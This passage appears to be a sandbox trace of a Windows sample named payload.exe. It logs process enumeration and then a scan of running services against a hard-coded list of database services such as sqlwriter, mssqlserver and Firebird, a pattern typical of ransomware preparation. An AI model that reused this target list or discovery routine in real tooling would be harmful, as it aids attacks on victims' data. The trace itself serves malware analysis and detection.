cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.592] lstrlenW (lpString="svchost.exe") returned 11 [0128.592] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0128.593] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0128.593] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0128.594] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0128.594] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.594] lstrlenW (lpString="svchost.exe") returned 11 [0128.594] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0128.595] lstrlenW (lpString="dwm.exe") returned 7 [0128.595] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.596] lstrlenW (lpString="svchost.exe") returned 11 [0128.596] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.596] lstrlenW (lpString="svchost.exe") returned 11 [0128.596] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.597] lstrlenW (lpString="svchost.exe") returned 11 [0128.597] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.598] lstrlenW (lpString="svchost.exe") returned 11 [0128.598] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.598] lstrlenW (lpString="svchost.exe") returned 11 [0128.598] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.599] lstrlenW (lpString="svchost.exe") returned 11 [0128.599] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.599] lstrlenW (lpString="svchost.exe") returned 11 [0128.599] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.600] lstrlenW (lpString="svchost.exe") returned 11 [0128.600] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.601] lstrlenW (lpString="svchost.exe") returned 11 [0128.601] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.601] lstrlenW (lpString="svchost.exe") returned 11 [0128.601] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0128.602] lstrlenW (lpString="spoolsv.exe") returned 11 [0128.602] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.603] lstrlenW (lpString="svchost.exe") returned 11 [0128.603] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0128.603] lstrlenW (lpString="audiodg.exe") returned 11 [0128.603] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0128.604] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0128.604] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0128.604] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0128.604] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0128.605] lstrlenW (lpString="Memory Compression") returned 18 [0128.605] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0128.606] lstrlenW (lpString="sihost.exe") returned 10 [0128.606] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.606] lstrlenW (lpString="svchost.exe") returned 11 [0128.606] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0128.607] lstrlenW (lpString="taskhostw.exe") returned 13 [0128.607] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0128.608] lstrlenW (lpString="msoia.exe") returned 9 [0128.608] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0128.608] lstrlenW (lpString="userinit.exe") returned 12 [0128.608] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0128.609] lstrlenW (lpString="explorer.exe") returned 12 [0128.609] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0128.609] lstrlenW (lpString="SearchUI.exe") returned 12 [0128.609] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0128.610] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0128.610] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0128.611] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0128.611] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0128.612] lstrlenW (lpString="mobsync.exe") returned 11 [0128.612] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0128.612] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0128.612] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0128.613] lstrlenW (lpString="payload.exe") returned 11 [0128.613] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0128.613] lstrlenW (lpString="cmd.exe") returned 7 [0128.614] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0128.614] lstrlenW (lpString="conhost.exe") returned 11 [0128.614] Process32NextW (in: hSnapshot=0x390, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0128.615] CloseHandle (hObject=0x390) returned 1 [0128.615] Sleep (dwMilliseconds=0x1f4) [0129.239] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3e5aec0 [0129.239] EnumServicesStatusExW (in: hSCManager=0x3e5aec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0129.240] GetLastError () returned 0xea [0129.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1bc4) returned 0x4436e20 [0129.240] EnumServicesStatusExW (in: hSCManager=0x3e5aec0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4436e20, cbBufSize=0x1bc4, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4436e20, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0129.240] CloseServiceHandle (hSCObject=0x3e5aec0) returned 1 [0129.240] lstrlenW (lpString="AppXSvc") returned 7 [0129.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0129.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0129.241] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0129.241] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0129.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0129.241] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0129.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.241] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0129.241] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0129.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0129.241] lstrlenW (lpString="Audiosrv") returned 8 [0129.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0129.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0129.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0129.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0129.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0129.241] lstrlenW (lpString="BFE") returned 3 [0129.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0129.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0129.241] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0129.241] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0129.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0129.241] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0129.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0129.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0129.241] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0129.241] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0129.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0129.241] lstrlenW (lpString="CDPSvc") returned 6 [0129.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0129.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0129.241] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0129.241] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0129.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0129.241] lstrlenW (lpString="ClickToRunSvc") returned 13 [0129.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0129.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0129.242] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0129.242] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0129.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0129.242] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0129.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0129.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0129.242] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0129.242] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0129.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0129.242] lstrlenW (lpString="CryptSvc") returned 8 [0129.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0129.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0129.242] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0129.242] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0129.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0129.242] lstrlenW (lpString="DcomLaunch") returned 10 [0129.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0129.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0129.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0129.242] lstrlenW (lpString="DeviceAssociationService") returned 24 [0129.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0129.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0129.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0129.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0129.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0129.242] lstrlenW (lpString="Dhcp") returned 4 [0129.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0129.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0129.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0129.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0129.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0129.242] lstrlenW (lpString="Dnscache") returned 8 [0129.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0129.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0129.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0129.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0129.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0129.243] lstrlenW (lpString="DPS") returned 3 [0129.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0129.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0129.243] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0129.243] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0129.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0129.243] lstrlenW (lpString="DusmSvc") returned 7 [0129.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0129.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0129.243] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0129.243] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0129.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0129.243] lstrlenW (lpString="EventLog") returned 8 [0129.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0129.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0129.243] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0129.243] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0129.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0129.243] lstrlenW (lpString="EventSystem") returned 11 [0129.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0129.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0129.243] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0129.243] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0129.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0129.243] lstrlenW (lpString="FontCache") returned 9 [0129.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0129.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0129.243] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0129.243] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0129.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0129.243] lstrlenW (lpString="gpsvc") returned 5 [0129.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0129.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0129.244] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0129.244] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0129.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0129.244] lstrlenW (lpString="iphlpsvc") returned 8 [0129.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.244] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0129.244] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0129.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0129.244] lstrlenW (lpString="KeyIso") returned 6 [0129.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0129.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0129.244] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0129.244] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0129.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0129.244] lstrlenW (lpString="LanmanServer") returned 12 [0129.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0129.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0129.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0129.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0129.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0129.244] lstrlenW (lpString="LanmanWorkstation") returned 17 [0129.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0129.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0129.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0129.244] lstrlenW (lpString="lfsvc") returned 5 [0129.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0129.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0129.244] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0129.244] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0129.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0129.244] lstrlenW (lpString="lmhosts") returned 7 [0129.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0129.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0129.245] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0129.245] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0129.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0129.245] lstrlenW (lpString="LSM") returned 3 [0129.245] lstrcmpiW 